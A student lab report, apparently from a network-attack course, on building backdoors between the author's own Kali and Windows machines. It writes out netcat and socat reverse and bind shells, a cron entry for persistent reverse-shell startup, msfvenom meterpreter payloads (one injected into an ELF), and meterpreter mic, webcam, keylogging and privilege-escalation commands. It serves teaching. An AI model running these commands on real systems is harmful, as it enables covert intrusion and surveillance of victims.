2018-2019 Exp2 后门原理与实践

目录


一、实验内容说明及基础问题回答

二、工具准备

三、实验过程

四、问题与思考



一、实验内容说明及基础问题回答

****
1、实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

2、基础问题回答

1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 破解Linux计算机账号密码
  • 替换login程序,提供特殊口令隐身登录
  • 在文件系统中隐藏后门

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Linux:通过crontab功能将木马设置为定时启动,控制主机保持监听状态就能周期性启动后门,也可以通过对正常然健的绑定注入shellcode开启后门。
  • win:被动下载或接受后门程序,当受害方点击运行该程序后门便会启动。

(3)Meterpreter有哪些给你映像深刻的功能?

  • 基本功能(基本的连接、执行指令)
  • 扩展功能(如搜集用户信息、安装服务等功能)

(4)如何发现自己有系统有没有被安装后门?

  • 安装杀毒软件:可以进行实时防护,如老师课堂演示中在开启软件保护模式情况下,若有后门可疑程序会即刻将其删除。
  • 检测网络连接:查看是否有IP与本机建立连接

返回目录



二、工具准备

****

  • 查看WindowsIP和LinuxIP

    - Windows下用命令`ipconfig`

  • Linux下用ifconfig

Windows获得Linuxshell

- 使用ncat程序,输入`ncat.exe -l -p 5226`监听本机5226端口
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190320103633240-985370332.png)

  • 在kali中使用nc指令的-e选项,输入nc 172.30.2.26 5226 -e /bin/sh反向连接Windows主机的5226端口

  • 在Windows端,获得kali的shell

Linux 获得Windows shell

- 使用`nc`指令监听`5226`端口
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190320104853774-1188339812.png)

  • 在Windows下,使用ncat.exe程序的-e选项反向连接kali主机的5226端口

  • 此时kali可以看到Windows的命令提示,可以输入相关Windows命令(此处输入的是dir

使用nc传输数据

- Windows监听`5226`端口
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190320110254280-933555287.png)

  • Kali下连接到Windows的5226端口

  • 建立连接后传输数据

返回目录



三、实验过程

使用netcat获取主机操作Shell,cron启动

- 在Windows下监听`5226`端口
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190320113856933-1366334654.png)

  • 在kali中,用crontab -e编辑一条定时任务,选择编辑器3

  • 在最后一行添加30 * * * * /bin/netcat 172.30.2.26 5226 -e /bin/sh,意思是在每小时的第30分钟反向连接Windows主机的5226端口

  • 时间到了23:30时,已经获得kali的shell,可以输入指令

使用socat获取主机操作Shell, 任务计划启动

> `socat`是`ncat`的增强版,它使用的格式是`socat [options]

`,其中两个address是必选项,而options 是可选项。
> socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

  • 在win10系统下,右击屏幕左下角windows图标,选择“计算机管理”(或者直接搜索“计算机管理”)

  • 在任务计划程序创建任务,填写任务名称,并新建一个触发器

  • 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5226 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5226,同时把cmd.exestderr重定向到stdout

  • 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,找到你创建的任务双击后,可以发现之前创建的任务已经开始运行

  • 此时,在Kali环境下输入指令socat - tcp:172.30.2.26:5226,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5226端口,此时可以发现已经成功获得了一个cmd shell

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

- 输入指令`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.170.130 LPORT=5226 -f exe > 20165226_backdoor.exe`生成后门程序
> 注意此时IP地址为LinuxIP

  • Windows下执行ncat.exe -lv 5226 > 20165226_backdoor.exe,进入接受模式
  • Linux中执行nc 172.30.2.26 5226 < 20165226_backdoor.exe,注意关闭病毒查杀软件

此时IP地址为主机即WindowsIP

  • 传送接收文件成功



  • 在kali中打开终端,输入msfconsole指令进入msf控制台

  • 输入use exploit/multi/handler进入监听模块

  • 输入set payload windows/meterpreter/reverse_tcp设置payload

  • 依次输入set LHOST 192.168.170.130set LPORT 5226设置IP及端口

注意此时IP地址为LinuxIP,和生成後門程序時指定的IP相同

  • 设置完成,开始监听exlpoit

  • 运行Windows下的后门程序

  • kali已经获得Windows主机的连接,并得到远程控制的shell

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

- 使用`record_mic`指令可以截获一段音频
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190320211427881-1537773020.png)

  • 使用webcam_snap指令可以使用摄像头进行拍照



  • 使用screenshot指令可以进行截屏



  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权

可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

- 使用命令`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.170.128 LPORT=5226 -x /root/20165226/exp2/pwn1 -f elf > 5226pwn`生成以pwn1模板这个elf文件格式的shellcode文件5226pwn
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190323220806360-1549484833.png)

  • 输入指令msfconsole,进入msf命令行
use exploit/multi/handler    /*进入handler模式*/

set payload linux/x86/meterpreter/reverse_tcp  /*对应生成的后门程序设置payload*/

show options  /*查看当前信息状态*/

set LHOST 192.168.170.128  /*设置LHOST,其中ip为攻击者Linux的ip*/

set LPORT 5226 /*设置LPORT*/

exploit /*启动监听*/

  • 在kali上运行后门文件5226pwn,在kali中执行pwn2时应先加权限 chmod +x 5226pwn
  • 此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell

返回目录



四、问题与思考

- 问题1:kali使用nc反弹连接后主机没有任何显示
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190320102836850-1872559622.png)

  • 问题1解决方案:在空白处输入命令,如ls等,再回车即可

  • 问题2:kali中使用cron启动,但在编辑的时间点并未获取kali的shell

  • 问题2解决方案:

通过重新查看编辑文件,发现并未写入端口号

于是将最后一行改为30 * * * * /bin/netcat 172.30.2.26 5226 -e /bin/sh

  • 问题3:在进行第二个socat实验时未成功获得cmd shell

  • 问题3解决方案:通过校对命令行,发现输入命令时将-tcp:连在一起了,正确书写为socat - tcp:....,一定注意之间的空格

  • 问题4:MSF监听时最后无法获取信息

  • 问题4解决方案:发现是在IP设置时出现问题,重新启动终端将步骤从头调试。

    返回目录



2018-2019 Exp2 后门原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  3. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  4. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  6. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  7. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

  10. 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...

随机推荐

  1. Nexcel的行列,和单元格坐标

    book.Sheets[1].UsedRange.Rows.Count 行数从1开始 book.Sheets[1].UsedRange.LastCol 从0开始 book.Sheets[1].Cell ...

  2. POJ 1504 Adding Reversed Numbers

    /*Sample Input 3 24 1 4358 754 305 Sample Output 34 1998 */ 值得总结的几点就是: 1.atoi函数将字符串转化为整型数字(类似于强制转换) ...

  3. 面试题2:单例模式Singleton

    首先,单例模式使类在程序生命周期的任何时刻都只有一个实例, 然后,单例的构造函数是私有的,外部程序如果想要访问这个单例类的话, 必须通过 getInstance()来请求(注意是请求)得到这个单例类的 ...

  4. iOS9 http 不能连接的解决办法

    iOS9要求App内访问的网络必须使用HTTPS协议.原有的HTTP请求会报错,适配方法如下. 打开TARGETS-Build Phases, 添加New Run Script Phase,代码如下: ...

  5. 关于rimworld(边缘之地)

    低缓的音乐   广阔的原野  丰富而不杂乱的地表  完美的殖民拓荒世界. 各种随机地形,丰富的资源.林木与矿产.随机生成的大世界给人真实世界的感觉. 动态而和谐的画面,随风摇摆的植被,跳跃的兔子,以及 ...

  6. STL标准库-迭代器适配器

    技术在于交流.沟通,本文为博主原创文章转载请注明出处并保持作品的完整性 这次主要介绍一下迭代器适配器.以reverse_iterator(反向迭代器),insert_iterator(插入迭代器),o ...

  7. header 输出原始的php报头文件

    header() 函数向客户端发送原始的 HTTP 报头. 认识到一点很重要,即必须在任何实际的输出被发送之前调用 header() 函数 (在 PHP 4 以及更高的版本中,您可以使用输出缓存来解决 ...

  8. SWIFT中计算两个日期间隔多少小时

    SWIFT中如何计算两个日期间隔多少个小时,其实几句代码就可以搞定了,Very Easy,在Playground内输入以下代码 var date1 = "2015-06-26 8:15:10 ...

  9. 神经网络损失函数中的正则化项L1和L2

    神经网络中损失函数后一般会加一个额外的正则项L1或L2,也成为L1范数和L2范数.正则项可以看做是损失函数的惩罚项,用来对损失函数中的系数做一些限制. 正则化描述: L1正则化是指权值向量w中各个元素 ...

  10. led不同颜色的驱动电压和驱动电流

    LED耗电非常低,一般来说LED的工作电压是2-3.6V,其中红光电压是1.8-2.1V 波长610-620    绿光电压是3.0-3.5V 波长520-530   兰光电压是3.0-3.5V 波长 ...